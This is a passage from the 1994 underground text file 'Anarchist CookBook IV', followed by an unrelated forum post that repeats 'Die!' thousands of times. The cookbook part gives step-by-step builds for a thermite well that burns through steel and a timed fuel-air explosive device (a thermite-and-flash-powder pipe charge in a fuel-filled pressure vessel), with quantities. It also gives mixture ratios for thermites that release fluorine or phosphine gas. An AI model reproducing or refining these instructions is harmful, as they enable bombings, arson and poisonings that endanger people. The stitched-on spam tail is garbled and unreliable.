THERMITE WELL: To cut metal with thermite, take a refractory crucible and
drill a 1/4 in. hole in the bottom. Epoxy a thin (20 ga.) sheet of mild steel
over the hole. Allow the epoxy to dry. Fill the crucible with ferro-thermite
and insert a first fire igniter in the thermite. Fashion a standoff to the
crucible. This should hold the crucible about 1 1/2 in. up. Place the well
over your target and ignite the first fire. The well works this way.
The thermite burns, making slag and iron. Since the iron is heavier it goes
to the bottom of the well. The molten iron burns through the metal sheet.
This produces a small delay which gives the iron and slag more time to
separate fully. The molten iron drips out through the hole in the bottom of
the crucible. The standoff allows the thermite to continue flowing out of the
crucible. The force of the dripping iron bores a hole in the target.
A 2 lb. thermite well can penetrate up to 3/4 in. of steel. Experiment with
different configurations to get maximum penetration. For a crucible, try a
flower pot coated with a magnesium oxide layer. Sometimes the pot cracks
however. Take the cast thermite formula and add 50% ferro-thermite to it.
This produces a fair amount of iron plus a very liquid slag.
THERMITE FUEL-AIR EXPLOSION: This is a very dangerous device. Ask yourself
if you really truly want to make it before you do any work on it.
It is next to impossible to give any dimensions of containers or weights
of charges because of the availability of parts changes from one person to
the next. However here is a general description of this device affectionately
known as a HELLHOUND.
Make a thermite charge in a 1/8 in. wall pipe. This charge must be
electrically ignited. At the opposite end of the pipe away from the ignitor
side put a small explosive charge of flash powder weighing about 1 oz.
Drill a small hole in a pipe end cap and run the wires from the ignitor
through the hole. Seal the wires and hole up with fuel proof epoxy or cement.
Try ferrule cement available at sporting goods stores. Dope the threads of
the end caps with a good pipe dope and screw them onto the pipe.
This gives you a thermite charge in an iron pipe arranged so that when the
thermite is electrically ignited, it will burn from one end to the other
finally setting of the flash powder charge.
Place this device in a larger pipe or very stout metal container which is
sealed at one end. Use a couple of metal "spiders" to keep the device away
from the walls or ends of the larger container. Run the wires out through
the wall of the container and seal the wires with the fuel proof epoxy.
Fill the container with a volatile liquid fuel. Acetone or gasoline works
great. Now seal up the container with an appropriate end cap and it is done.
The device works like this: Attach a timer-power supply to the wires. When
the thermite is ignited it superheats the liquid fuel. Since the container
is strong enough to hold the pressure the fuel does not boil. When the
thermite burns down to the explosive, it explodes rupturing the container
and releasing the superheated fuel. The fuel expands, cooling off and
making a fine mist and vapor that mixes with the surrounding air. The hot
thermite slag is also thrown into the air which ignites the fuel-air mix.
The result is obvious. Try about 1 1/2 lbs of thermite to a gallon of fuel.
For the pressure vessel, try an old pressure cooker. Because the fuel may
dissolve the epoxy don't keep this device around for very long.
But ask yourself, do you really want to make this?
EXOTIC THERMITES: Thermites can also be made from teflon-magnesium or metal
flourides-magnesium or aluminum. If there is an excess of flouride compound
in the mixture, flourine gas can be released. Flourine is extremely
corrosive and reactive. The gas can cause organic material to burst into
flames by mere contact. For teflon-magnesium use 67% teflon and 33% magnesium
A strong first fire igniter should be used to ignite this mixture. Both the
teflon and the magnesium should be in powdered form. Do not inhale any
smoke from the burning mixture.
If you use metal-florides instead of teflon, use flourides of low energy
metals. Lead flouride is a good example. Try using 90% lead flouride and
10% aluminum.
Warning: Flouride compounds can be very poisonous. They are approximately
equal to cyanide compounds.
Another exotic mix is tricalcium orthophosphate and aluminum. When this
burns,it forms calcium phosphide which when contacts water releases hydrogen
phosphide which can ignite spontaneously in air.
Tricalcium orthophosphate has the formula Ca3(PO4)2 and is known as whitelockite.
Use about 75% orthophosphate and 25% aluminum. This ratio may have
to be altered for better burning as I have not experimented with it much and
don't know if more aluminum may reduce the calcium better. It does work but
it is a hard to ignite mixture. A first fire mix containing a few percent
of magnesium works well.
Fighting thermite fires: Two ways to fight thermite fires are either
smothering the thermite with sand. This doesn't put out the thermite but it
does help contain it and block some of the heat.
The other way is to flood the thermite with a great amount of water. This
helps to break the thermite apart and stop the reaction. If you use a small
amount of water, an explosion may result as the thermite may reduce the water
and release hydrogen gas.
Thermite can start fires from the heat radiating from the reaction. Nearby
flammable substances can catch fire even though no sparks or flame touch
them.
*** Kilroy was here ***
Compiled for the '94 CookBook 4.14 -- Exodus_
** CONCLUSION **
Well, thats it! The Anarchist CookBook IV, release version 4.14. It
has taken a little over a year to compile all these files from
dozens of anarchy books and filez. I even gave up my board, The
Black Gate, and my modeming to compile this offline. There have
been several release versions that were never really released into
the public. It seemed everytime I was ready to release it, I got
more stuff to put in it. I finally stopped changing ver. ## and
left it at 4.14, in memory and salute of the 414's, who until they
were caught, were the BEST HaCkinG and PhreAKiNg group out there.
My hat goes off to the Jolly Roger for his inspiration, and to the
editors of The Big Book Of Mischief, without whom there would be no
references. The release date of The Anarchist CookBook IV is June,
1994. Well, now that I'm done, my board will go back up, and I will
begin the distribution. But for those who are impatient for it to
get to them, it is available straight off The Black Gate BBS. Until
then, Thanx for your dedication to the HaCkiNG and PhrEaKIng world.
Exodus and The Black Gate BBS are available to the Tri-State area,
and I will be calling boards in the North Jersey area ONLY. If you
can't get in touch with me at my board, call around the 201 exchange.
I should be around a board or two. L8r.. and Thanx for the Support!
--==>>( Exodus )<<==--
Sysop of The Black Gate BBS
ThE BesT iN EliTe MaiL_



toggletoggle post by RichHorror  at Mar 25,2008 3:40pm
[QUOTE="Mucko:738712"]Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! 